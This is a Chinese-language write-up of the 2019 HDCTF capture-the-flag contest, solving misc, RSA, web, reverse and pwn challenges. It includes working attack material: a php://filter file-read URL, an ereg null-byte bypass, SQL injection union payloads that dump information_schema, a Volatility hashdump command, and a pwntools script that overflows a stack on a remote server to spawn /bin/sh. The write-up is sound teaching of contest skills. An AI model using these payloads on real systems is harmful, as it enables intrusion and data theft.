第一届HDCTF Write up

阅读量835964

|评论12

|

发布时间 : 2019-05-22 15:30:40

 

有幸参与海南大学组织举办的第一届HDCTF,听说难度中等偏易,刚刚入手CTF的我认为这是一次很好的练习以及学习机会。便兴冲冲的参与啦!

 

MISC

首先,自认为misc是最容易的(相对web、rev、pwn来说,也不把今年的国赛MISC考虑在内。。。)便先拿MISC开刀(签到题就不说了23333)

循环冗余码了解一下 100

题目描述:xx 同学用他的 QQ 号加密了压缩包,你能成功破解出并找到数据包中的秘密吗?

下载文件得到两个加密压缩包:enc.rar与qq.rar

循环冗余码,CRC32,然后题目说密码是QQ号,

从包里可以看到是8位QQ号,很自然的可以想到是CRC碰撞了,虽然超过6个字节的内容CRC碰撞就不合适了,不过已经知道内容是八位数字,那就很容易写脚本碰撞了,以下是py2脚本

import binascii
for a in range(10):
    for b in range(10):
        for c in range(10):
            for d in range(10):
                for e in range(10):
                    for f in range(10):
                        for g in range(10):
                            for h in range(10):
                                txt= str(a)+str(b)+str(c)+str(d)+str(e)+str(f)+str(g)+str(h)
                                crc = binascii.crc32(txt)
                                if ((crc & 0xFFFFFFFF)==0xE82D0FCC):
                                    print txt

运行得到:

输入密码拿到一份流量包,流量包分析,wireshark打开,追踪TCP流,一条一条查看过去

拿到一条被加密的flag:

V20xNGFGb3pkR2hOUkdoc1RUSk5lazFFVlRCTk1scG9XbFJGZDAxSFdtMU9WMDB5V2xSTk5WcEVTWGxhUkVFeldrZ3dQUT09

虽然末尾没有等于号那么明显的标志,但base64应该八九不离十,最后通过三次base64解密后get flag:

flag{a08e3c30543fae100ff5c6e39d22d07d}

总结:

考点:压缩包解密之CRC碰撞;流量包分析;base64。

总的来说这一题不算太难,还是偏新手向的,稍微会一点点python,然后搜索一下python中关于crc的方法便能轻易构造脚本。流量包分析也是套路追踪TCP流,至于最后base64显然不难猜。

信号分析 150

题目描述:xx同学使用 hackcube 截获到了一段停车杆的遥控信息,你能还原这个原始信号吗?flag格式:flag{md5(得到的信号格式)}

提示:

hint1:参考:https://unicorn.360.com/hackcube/forum.php?mod=viewthread&tid=13&extra=page%3D1

hint2:试试波形分析吧! Audacity

下载得到一个.wav文件,拖进 Audacity观察,

在波形(dB)(W)下可以看到如此波形,由于没接触过遥控信息,进入所给参考资料,

根据

即可知道题目所给文件中的波形的含义为:FFFFFFFF0001

再根据flag格式,get flag:flag{a2720cc18b1410daaf83555eb262387a}

总结:

在给了参考资料,以及hint2的情况下,本题难度大大降低,主题人可能想通过本题让答题人了解接触遥控信号这一块吧?

你能发现什么蛛丝马迹吗 200

题目描述:xx 同学在某处得到了一个神秘的镜像文件,你能帮他发现一些神秘的信息吗?

提示:1. Volatility 2. 关键词 flag

下载得到一份镜像文件,用kali下的Volatility进行分析,

首先查看文件的profile值

指令:volatility -f memory.img imageinfo

猜测profile值为Win2003SP1x86

然后查看一下进程

指令:volatility -f memory.img —profile=Win2003SP1x86 pslist

发现一个及其显眼的最近程序的DumpIt.exe,感觉有点蹊跷,

然后试着提取内存中保留的 cmd 命令使用情况

指令:volatility -f memory.img —profile=Win2003SP1x86 cmdscan

看见Flags字样,根据提示,这个程序一定有点问题,找到他的PPID把他dump下来

指令:volatility -f memory.img —profile=Win2003SP1x86 memdump -p1992 -D /root

得到1992.dmp文件,然后用foremost提取里面的文件

指令:foremost 1992.dmp -T

分离出来很多文件,在其中的png文件夹中发现四张图像(重复了其实)二维码扫出来内容是:

jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=

第一眼以为是base64,随即试了一下,解出来是乱码,然后根据上图的key以及iv,应该是AES加密,找到一个在线解AES的网址:http://tool.chacuo.net/cryptaes

昂吭,get flag!flag{F0uNd_s0m3th1ng_1n_M3mory}

总结:

这一题考的是内存取证,主要是对volatility工具的使用吧,然后是一个AES的ECB解密,

下面总结整理一下对volatility工具的使用方法

第一步肯定是需要查看文件的profile值:volatility -f memory.img imageinfo

然后就可以有很多操作了,比如列举进程:volatility -f memory.img —profile=Win2003SP1x86 pslist

cmd 命令使用情况:volatility -f memory.img —profile=Win2003SP1x86cmdscan

列举缓存在内存的注册表 :volatility -f memory.img —profile=Win2003SP1x86 hivelist

打印出注册表中的数据 :volatility -f memory.img —profile=Win2003SP1x86 -o 注册表的 virtual 地址

将内存中的某个进程数据以 dmp 的格式保存出来 :volatility -f memory.img —profile=Win2003SP1x86 memdump -p 进程的PPID值 -D 保存文件的地址

获取到当时的网络连接情况:volatility -f memory.img —profile=Win2003SP1x86 netscan

获取内存中的系统密码:volatility -f memory.img —profile=Win2003SP1x86 hashdump -y (注册表 system 的 virtual 地址 )-s (SAM 的 virtual 地址) #这在H-GAME的week4中的warm up有用到

除了这些常用到的功能以外,volatility工具还有更多的功能,这里就不在再一一列举了,具体可以使用指令:volatility -h 查看

(这其实是打HGAME整理的,主要参考https://www.jianshu.com/p/6438bc3302c8)

 

CRYPTO

哇,中等偏易的HDCTF的密码学全是RSA,硬核啊,不过倒也是RSA里面偏简单的,可以接受,因为之前HGAME也遇到RSA了,所以留下的脚本,刚好对付这里的RSA了。

basic rsa 50

题目描述:这可能是最最最最简单的 rsa 了
密文:27565231154623519221597938803435789010285480123476977081867877272451638645710

下载得到一份py2代码

import gmpy2
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex

flag = "*****************"

p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551

e = 65533
n = p*q


c = pow(int(b2a_hex(flag),16),e,n)

print c

呃,啥都知道了,上脚本解呗

import gmpy2
from libnum import n2s,s2n

c = gmpy2.mpz(9544552122426002996962843810441848397036784063191487784065817764908998519819)
p = gmpy2.mpz(262248800182277040650192055439906580479)
q = gmpy2.mpz(262854994239322828547925595487519915551)
e = gmpy2.mpz(65533)
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)     #自认为gmpy2的神级功能之一;    
m = pow(c,d,p*q)
print "plaintext:"
print hex(m)[2:].decode('hex')

get flag:flag{B4by_Rs4}

bbbbbbrsa 100

题目描述:babyrsa,还是一道 RSA 的题目~

下载得到一份py2代码:

from base64 import b64encode as b32encode
from gmpy2 import invert,gcd,iroot
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
import random

flag = "******************************"

nbit = 128

p = getPrime(nbit)
q = getPrime(nbit)
n = p*q

print p
print n

phi = (p-1)*(q-1)

e = random.randint(50000,70000)

while True:
    if gcd(e,phi) == 1:
        break;
    else:
        e -= 1;

c = pow(int(b2a_hex(flag),16),e,n)

print b32encode(str(c))[::-1]

和一份enc文件

p = 177077389675257695042507998165006460849
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
c = ==gMzYDNzIjMxUTNyIzNzIjMyYTM4MDM0gTMwEjNzgTM2UTN4cjNwIjN2QzM5ADMwIDNyMTO4UzM2cTM5kDN2MTOyUTO5YDM0czM3MjM

呃,小tricks,将c逆序后base64解密得到十进制c:

import base64
c='==gMzYDNzIjMxUTNyIzNzIjMyYTM4MDM0gTMwEjNzgTM2UTN4cjNwIjN2QzM5ADMwIDNyMTO4UzM2cTM5kDN2MTOyUTO5YDM0czM3MjM'
print(base64.b64decode(c[::-1]))


>>>b'2373740699529364991763589324200093466206785561836101840381622237225512234632'

然后,继续看这题的代码,这个e真是有点东西啊,取随机数然后再自减至与欧拉函数互质?这,我能想到的只能是爆破了23333,构造脚本:

import random
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        return 404            #因为20000个数中不是每个e都能求出d,所以这里对求d报错时进行了简单处理
    else:
        return x % m
fw=open("plaintext.txt","w")
p = 177077389675257695042507998165006460849
q = 211330365658290458913359957704294614589
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
c  = 2373740699529364991763589324200093466206785561836101840381622237225512234632
phi=(p-1)*(q-1)
for e in range(50000,70000):
        d=modinv(int(e),(p-1)*(q-1))
        if(d==404):
                continue
        else:
                fw.writelines(hex(int(pow(c,d,p*q))))
                fw.writelines("n")

运行结束后得到文本,然后再记事本中ctrl-F搜索666C6167(flag的十六进制形式),得到:

在十六进制转换过去得到flag:flag{rs4_1s_s1mpl3!#}

together 200together 200

题目描述:又是一道 RSA

这一题有四个文件,分别是myflag1,myflag2,pubkey1.pem,pubkey2.pem

打开myflag1,myflag2

base64解码成16进制后得到两份数据

分别是数据1:0x477368cbaaf758b22dcad0266f81661c4ca0a2296e7041196cef59617c7924dd371cda412c3c7b7d77767e5f942f9fb5d510acff2d2a953194456583b46eba78d2f31b036900a8958fa23b46d5099763dc9b736f15e005c08f54b15444ca1ef3215eac23d64ff25ff61950e8acb033e542d6f9fd0e20d1a1266666f052ff6839e57d3125850f3b2cf89c5a95d8a0cb72afa5abc632ba3a7b67f01a82b7412343b4de5d9871207f554cf5a30e615d98ea9aa9d5484fe2d97a64e02cd112c0ce679f88394b76850c5c23d58883625d3ffbc7adbca7ceadfa0a3b04740b1b111da830754513112f047072e63060b10a40d99f74b39a603a35bde580b792806f0fd4
数据2:0x3bead109723769307a3f5ad820e3d475a954a7aba3a7012ae08db40a8580f8720bf31c46b6a63a379829af482e66ff5980e1003059c1c4ea8c75536707d1a09e1997b6dd595b274fa88707be57f0a5dfcbc9dd174a35e78dacf73f7bce42f47bd5c0ffb97c810345cfce69d320c80486e1895459bc9a29f42ffdaa23bc20fd9ef0d7ee263a68bae792485de0a21b6dee903bfa97d6d9baa7c6bd609ad4a2975833f7d672dba7464dda86d4b3a8c401ad6a553697e8ce0ccbeb24b3ed15bc7013ac052e0ab98cc15122bea209fe74baca619511137a3a19f3cabd7af249c404a3958f41403b1dd82dfa6930cf976ce1877aa74a2512e932fa855c33064089d3df

然后再看两份.pem文件,这个需要用到kali里的openssl工具,

分别输入指令:

openssl rsa -pubin -text -modulus -in warmup -in pubkey1.pem

openssl rsa -pubin -text -modulus -in warmup -in pubkey2.pem

获得

e1:0x91d

e2:0x5b25

N1:75A8B8AA2AD2950E9AED4BE34618DFBEABB8CBA832685CC94F45173330100624846CCF90F3C2DB75BA5AF4B39CAEF1175AB9F898794EAC6082A4F766F7CB280B16F6980B38DDA811761324D619513B3CBE65877ACF51FC70405A8347C121207E71F8E6FCAE39647ED2231D306DD53849257BC306E997A502867012249D1691F5DC11D6AF06539F3F808939343DDE09301A761AE12C1C969076C502BC5A971E10ABCB366547BC94373F37A57DDC43858DB29BAAAAAD0E6867885EA3757403008C164E9C7AFA39B3C65089A151DDD8C06C64271086F9255ADB8ACF82182F8FA252930A187961635BC2A85C761330F85C896314B3FDAE4EFEF7E0A8C93B8854BFC3

N2:75A8B8AA2AD2950E9AED4BE34618DFBEABB8CBA832685CC94F45173330100624846CCF90F3C2DB75BA5AF4B39CAEF1175AB9F898794EAC6082A4F766F7CB280B16F6980B38DDA811761324D619513B3CBE65877ACF51FC70405A8347C121207E71F8E6FCAE39647ED2231D306DD53849257BC306E997A502867012249D1691F5DC11D6AF06539F3F808939343DDE09301A761AE12C1C969076C502BC5A971E10ABCB366547BC94373F37A57DDC43858DB29BAAAAAD0E6867885EA3757403008C164E9C7AFA39B3C65089A151DDD8C06C64271086F9255ADB8ACF82182F8FA252930A187961635BC2A85C761330F85C896314B3FDAE4EFEF7E0A8C93B8854BFC3

连个N一样的?同样的N,不同的e,那么是RSA的共模攻击没错了,那么之前获得的应该是两个密文了,构造共模攻击的脚本:

from gmpy2 import iroot,invert

n = 0x75a8b8aa2ad2950e9aed4be34618dfbeabb8cba832685cc94f45173330100624846ccf90f3c2db75ba5af4b39caef1175ab9f898794eac6082a4f766f7cb280b16f6980b38dda811761324d619513b3cbe65877acf51fc70405a8347c121207e71f8e6fcae39647ed2231d306dd53849257bc306e997a502867012249d1691f5dc11d6af06539f3f808939343dde09301a761ae12c1c969076c502bc5a971e10abcb366547bc94373f37a57ddc43858db29baaaaad0e6867885ea3757403008c164e9c7afa39b3c65089a151ddd8c06c64271086f9255adb8acf82182f8fa252930a187961635bc2a85c761330f85c896314b3fdae4efef7e0a8c93b8854bfc3

def egcd(a, b):

    if a == 0:

        return (b, 0, 1)

    else:

        g, y, x = egcd(b % a, a)

        return (g, x - (b // a) * y, y)



c1 = 0x477368cbaaf758b22dcad0266f81661c4ca0a2296e7041196cef59617c7924dd371cda412c3c7b7d77767e5f942f9fb5d510acff2d2a953194456583b46eba78d2f31b036900a8958fa23b46d5099763dc9b736f15e005c08f54b15444ca1ef3215eac23d64ff25ff61950e8acb033e542d6f9fd0e20d1a1266666f052ff6839e57d3125850f3b2cf89c5a95d8a0cb72afa5abc632ba3a7b67f01a82b7412343b4de5d9871207f554cf5a30e615d98ea9aa9d5484fe2d97a64e02cd112c0ce679f88394b76850c5c23d58883625d3ffbc7adbca7ceadfa0a3b04740b1b111da830754513112f047072e63060b10a40d99f74b39a603a35bde580b792806f0fd4

c2 = 0x3bead109723769307a3f5ad820e3d475a954a7aba3a7012ae08db40a8580f8720bf31c46b6a63a379829af482e66ff5980e1003059c1c4ea8c75536707d1a09e1997b6dd595b274fa88707be57f0a5dfcbc9dd174a35e78dacf73f7bce42f47bd5c0ffb97c810345cfce69d320c80486e1895459bc9a29f42ffdaa23bc20fd9ef0d7ee263a68bae792485de0a21b6dee903bfa97d6d9baa7c6bd609ad4a2975833f7d672dba7464dda86d4b3a8c401ad6a553697e8ce0ccbeb24b3ed15bc7013ac052e0ab98cc15122bea209fe74baca619511137a3a19f3cabd7af249c404a3958f41403b1dd82dfa6930cf976ce1877aa74a2512e932fa855c33064089d3df

e1 = 2333

e2 = 23333

s = egcd(e1,e2)

s1 = s[1]

s2 = s[2]

if s1<0:

    s1 = - s1

    c1 = invert(c1, n)

elif s2<0:

    s2 = - s2

    c2 = invert(c2, n)

m = pow(c1, s1, n) * pow(c2, s2, n) % n

print hex(m)[2:].decode('hex')

运行得到:

get flag:flag{23re_SDxF_y78hu_5rFgS}

(脚本构造参考V爷爷博客:

https://veritas501.space/2017/03/01/%E5%AF%86%E7%A0%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#more)

总结:

这次比赛的密码学,相比于出脑洞古典密码,直接三道RSA还是比较硬核了,做了这三道题,又再一次温习了RSA的加密原理以及脚本构造,还是有所收获的。

 

WEB

欢迎来到HDCTF 50

题目描述:签到题

呃,签到题,那f12一下咯?

没什么端倪,那就按照描述改0.html为1.html吧

呃,将段落一级一级展开最终get flag:flag{welcome_t0_HDctf}

测试你与flag的缘分 100

题目描述:常规编码啦

进入页面

呃,对不对不敢保证,,,,呃,还是点进去吧,

得到一份jsfuck编码的文件,这个Google自带解码功能,f12后,放进控制台跑就好,得到

十六进制转字符串后得到

=E5=93=88=E5=93=88=E5=93=88=E5=93=88,=E4=BD=A0=E8=A2=AB=E9=AA=97=E4=BA=86,=
=E4=B8=8D=E6=98=AF=E8=BF=99=E4=B8=AA,=E5=B0=B1=E9=97=AE=E4=BD=A0=E8=A7=A3=
=E4=BA=86=E5=8D=8A=E5=A4=A9=E6=B0=94=E4=B8=8D=E6=B0=94

呃?是这啥?随便复制一段百度搜索,知道是QUOTED-PRINTABLE编码,找到在线解密网址解密得到:

wtf?啥玩意儿,这么整的嘛?回到最初页面,f12大法!发现

(此处暴打出题人)

将图中十六进制转为字符串,然后两次base64解码得到flag

HDCTF{Jsfuck_1s_l0vely!}

这是web题吗?最后才发现网页标题已经说了,

ok fine…

简单的代码审计 200

这一题有点意思。。

进入页面,啥也没有,老样子,f12大法,

发现hint:file=once.php

于是在网址栏键入?file=once.php

进入页面

这,难道要爆破?不对劲,结合题目:代码审计,这题应该有代码才对,在看看hint,发现是file=once.php,这个file,那么源代码中应该存在文件包含函数,也就想到php伪协议中的任意文件读取,于是键入:

http://149.28.22.177:10003/?file=php://filter/read=convert.base64-encode/resource=once.php

得到网页经base64编码后的源码,base64解码后再处理一下格式,得到:

< html > < head > < meta http - equiv = "content-type"
content = "text/html; charset=GBK" > < title > Once More < /title>  </head > < body > < br > < center > < p > You password must be alphanumeric < /p><br>  <form method="get">   <input type="text" name="password" placeholder="Password"><br><br>   <input type="submit" value="Check">  </form > < hr > < br > < /body></html > 


<? php error_reporting(0);
include_once('./flag/flag0.php');
if (isset($_GET['password'])) {
    if (ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) {
        echo '<p>You password must be alphanumeric</p>';
    } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 999999999) {
        if (strpos($_GET['password'], '*-*') !== FALSE) {
            die('Flag: '.$flag);
        } else {
            echo('<p>*-* have not been found</p>');
        }
    } else {
        echo '<p>Invalid password</p>';
    }
} ?>

果然是审计代码,一步步来,首先输入密码,密码需满足条件:

1,有字母或者数字组成;

2,密码长度小于8,却要比999999999大;

3,密码需要蕴含

矛盾点1:密码长度小于8,要比9个9大,这里可以用科学计数法绕过,比九个九大的最小值就是十亿,即1e9。

矛盾点2:密码只能由字母或者数字组成,却要包含符号:,这里了解到php的ereg函数存在截断漏洞,可以用%00来截断参数,绕过验证

故密码为:1e9%00

输入密码后,仍然错误:

我们注意到我们的密码被改为了1e9%2500

因为浏览器在处理时会自动将我们传的参数url解码一次

那么直接在URL上操作,

最后payload:

http://149.28.22.177:10003/once.php?password=1e9%00*-*

get flag:HDCTF{Is_V3ry_1nteresting!}

总结:

这道题考的知识点还是蛮多的。1:通过文件包含漏洞利用php伪协议中的任意文件读取;2:php的ereg函数的截断漏洞利用;3:浏览器会自动进行一次url解码(实验吧的PHP大法一题了解一下。。)4:科学计数法。

可能刚接触CTF没了解太多的新手真的会把这题当做密码爆破来做吧。

sql注入 300

进入页面,是个登录界面,吸取第二题教训,直接f12,果然有点东西。

试试hash?

点击用户登录,呃,看来这里有脑洞了。是4位数字吗?一个反问。那就不是了,结合hint:试试hash,那么密码可能是一个四位数字的hash值吧,可是hash加密第一堆堆啊,猜最常见的md5吧,不对就再换好了,反正应该是离不开爆破了。用因为burpsuit里的process刚好有hash爆破,就用它爆破了,最后爆破出结果,发现密码是2019的md5值,

输入密码后进入:

首先测试,发现空格(可用/**/代替),等号(”where = “语句为非法)被过滤,但是union 和 select没有被过滤。那么这题这么解。

首先匹配字段,发现到3没有报错

'/**/union/**/select/**/1,2,3#

了解到由于Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息,所以,

同时爆库名和表名

'/**/union/**/select/**/1,TABLE_NAME,TABLE_SCHEMA/**/from/**/information_schema.TABLES#

这里我是这么理解sql语句的,由于不能使用等号,所以不能“where = ”语句一层一层查下来。所以利用information_schema,直接爆库中包含的所有表的表名,顺带爆出表所属的库,以为之后爆字段的时候用。(因为发现如果最后爆字段的时候不带上列所属的表及其所属库,他会自动引用其中sousou这个库,这并不是我们想要的)那为什么这样写可以呢,从information_schema.TABLES中缺能爆出库的信息?显然这是符合逻辑的,因可以理解列、表、库为从属关系,知道最末端的列,那么顺藤摸瓜般便可以知道其所属表,以及库;而只是知道最上层的库,显然不能得出一个具体的表。

同理然后爆出列名和表名(用来一一对应)

'/**/union/**/select/**/1,COLUMN_NAME,TABLE_NAME/**/from/**/information_schema.COLUMNS#

最后爆字段内容,即为flag

'/**/union/**/select/**/1,fffflllag__23333,3/**/from/**/ctf.flag#

get flag: flag{wasaix_hndxctf2019}

如果这里不写ctf.flag,而只是写flag,便会报错:

他默认引用了库sousou,然而表flag在库ctf中,所以会报错。

总结:

这一道sql除了考了常规的手工sql注入中union语句以外,还外加了一点点脑洞和密码的爆破,并没有特别难。但是sql这类题型在CTF赛事上几乎从不缺席。所以WEB方向的选手在sql这里是需要多下点功夫,去理解,去深入。

 

REVERSE

没有认真学习汇编,甚至连动态调试都还不会的我,水了水本次比赛比较简单地两道逆向题,一道考简单算法,一道是pyc,刚好避开了我不会的东西,唔。。。

就是算法逆向 100

下载得到elf文件easyAlgorithm

放入IDA,进入main函数,F5来一下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@12
  __int64 v4; // rdi@12
  int v5; // [sp+Ch] [bp-B4h]@1
  signed int i; // [sp+10h] [bp-B0h]@1
  signed int j; // [sp+14h] [bp-ACh]@4
  int v8; // [sp+20h] [bp-A0h]@1
  int v9; // [sp+24h] [bp-9Ch]@1
  int v10; // [sp+28h] [bp-98h]@1
  int v11; // [sp+2Ch] [bp-94h]@1
  int v12; // [sp+30h] [bp-90h]@1
  int v13; // [sp+34h] [bp-8Ch]@1
  int v14; // [sp+38h] [bp-88h]@1
  int v15; // [sp+3Ch] [bp-84h]@1
  int v16; // [sp+40h] [bp-80h]@1
  int v17; // [sp+44h] [bp-7Ch]@1
  int v18; // [sp+48h] [bp-78h]@1
  int v19; // [sp+4Ch] [bp-74h]@1
  int v20; // [sp+50h] [bp-70h]@1
  int v21; // [sp+54h] [bp-6Ch]@1
  int v22; // [sp+58h] [bp-68h]@1
  int v23; // [sp+5Ch] [bp-64h]@1
  int v24; // [sp+60h] [bp-60h]@1
  int v25; // [sp+64h] [bp-5Ch]@1
  int v26; // [sp+68h] [bp-58h]@1
  int v27; // [sp+6Ch] [bp-54h]@1
  int v28; // [sp+70h] [bp-50h]@1
  int v29; // [sp+74h] [bp-4Ch]@1
  int v30; // [sp+78h] [bp-48h]@1
  int v31; // [sp+7Ch] [bp-44h]@1
  int v32; // [sp+80h] [bp-40h]@1
  int v33; // [sp+84h] [bp-3Ch]@1
  int v34; // [sp+88h] [bp-38h]@1
  char v35[40]; // [sp+90h] [bp-30h]@1
  __int64 v36; // [sp+B8h] [bp-8h]@1

  v36 = *MK_FP(__FS__, 40LL);
  v5 = 0;
  v8 = 2;
  v9 = 10;
  v10 = 8;
  v11 = 8;
  v12 = 12;
  v13 = 6;
  v14 = 4;
  v15 = 10;
  v16 = 8;
  v17 = 16;
  v18 = 8;
  v19 = 6;
  v20 = 12;
  v21 = 6;
  v22 = 8;
  v23 = 0;
  v24 = 6;
  v25 = 12;
  v26 = 12;
  v27 = 16;
  v28 = 2;
  v29 = 8;
  v30 = 10;
  v31 = 12;
  v32 = 8;
  v33 = 4;
  v34 = 2;
  puts("Pls give me your flag:");
  __isoc99_scanf("%27s", v35);
  for ( i = 0; i <= 26; ++i )
    *(&v8 + i) -= i % 5;
  for ( j = 0; j <= 26; ++j )
  {
    if ( (*(&v8 + j) ^ v35[j]) != aDegbslvQsizobw[j] )
    {
      puts("Try again!");
      exit(0);
    }
    ++v5;
  }
  if ( v5 == 27 )
    puts("Coungratulations!");
  result = 0;
  v4 = *MK_FP(__FS__, 40LL) ^ v36;
  return result;
}

确实很简单,伪代码看下来,就是将给定的字符先按一定规则移位,然后分别和flag的各个字符异或,最后得到一个加密后的字符串。点开aDegbslvQsizobw[j]可以看到加密后的字符串为:degbsLv{qSiZObwyZKekmua}li|

那么构造脚本进行解密。大致思路为:先将给定的字符按一定规则移位,然后将其与加密后的字符串按位异或,python脚本如下:

a=[2,10,8,8,12,6,4,10,8,16,8,6,12,6,8,0,6,12,12,16,2,8,10,12,8,4,2]
enc='degbsLv{qSiZObwyZKekmua}li|'
ans=''
for i in range(27):
    a[i]=a[i]-i%5
for i in range(27):
    ans+=chr(a[i]^ord(enc[i]))
print ans

得到flag:flag{Just_a_Easy_Algorithm}

总结:

这一题考的是简单的移位和异或加密,这里的移位并不需要去逆,而异或运算的逆,这里有一个点,就是a^b=c,那么c^b=a,加密是可逆的。

这一题更倾向于一种引导作用,让新手去接触逆向,去体会、明白这个“逆”字含义。

easypyc 200

题目描述:就是pyc逆向

下载得到pyc文件,有在线反编译的网站:https://tool.lu/pyc/

反编译得到python代码:

import marshal
from binascii import unhexlify
exec(marshal.loads(unhexlify(b'faa7696d706f7274206d61727368616c0a66726f6d2062696e617363696920696d706f727420756e6865786c6966790a66726f6d2062617365363420696d706f7274206236346465636f64650a7072696e742822446f20796f75206b6e6f77207079633f22290a61203d20223d51324e314d444e32516d4e6d56444e32556d4e78596a5a314d6a4e3563444d3359574e35637a4d33456a4e31596a5933636a4e78597a5932596a4e22')))

见到unhexlify,大致猜测就是反十六进制?那就将其中的十六进制转换为字符串,得到又一串python代码

import marshal
from binascii import unhexlify
from base64 import b64decode
print("Do you know pyc?")
a = "=Q2N1MDN2QmNmVDN2UmNxYjZ1MjN5cDM3YWN5czM3EjN1YjY3cjNxYzY2YjN"

见到一串类似base64编码后的字符串,但是等于号在前面,猜测大概是逆序了,那就将其逆序后base64解码,然后十六进制转化为字符串,最后得到flag:flag{easy_pyc_and_md5}

 

PWN

babystack 150

下载文件,放入IDA分析,F5来一下:

注意到这里有一个name的读入,然后进入vuln()函数:

注意到这里有一个size的输入,于是想到负数溢出。只要输入size的时候填入一个负数,那么就可以输入任意长的字符串。那要填多少的个字符呢?点进buf查看栈的情况,

buf和ebp差了5c,而填充ebp又需要4个字节,所以填充需要填充60,也就是十进制的96,而ebp之后是要覆盖的eip,eip覆盖成啥呢,在IDA的左侧发现了hint函数

call _system的地址为0804864E,于是就将eip覆盖成0804864E,

又注意到command这个参数紧跟hint函数,而command这个参数怎么传呢,想到最开始我们输入了name,于是可以在eip后面跟一个name的地址,而name则构造成/bin/sh,

于是构造脚本:

from pwn import *
context.log_level = 'debug'
p=remote('123.207.114.39',8889)
#p = process('./babystack')
p.recvuntill(':')
p.sendline('/bin/sh')
p.recvuntill('>')
p.sendline('1')
p.recvuntill(':')
p.sendline('-1')
p.recvuntill('string')
p.sendline('a'*93+p32(0x08048636))
p.interactive() 

get flag:flag{bb01b3f2-96cB-47ad-8768-188dcf34fbf5}

总结:本题也是新手向的一道pwn题,可以引导新手了解pwn最基础而核心的原理:利用各种漏洞达到溢出从而执行自己所期望的shell命令来获取flag。当然,更多的其他的pwn题远比这一道babystack要来的复杂以及有深度,所以,慢慢学吖!

 

结语:

这就是我本次参与第一届HDCTF所做出来的所有的题,每道题的WP已经写的尽可能详细,希望对刚入门CTF的CTFer有所帮助。

本文由V原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/178909

安全客 - 有思想的安全新媒体

分享到:微信
+135赞
收藏
V
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66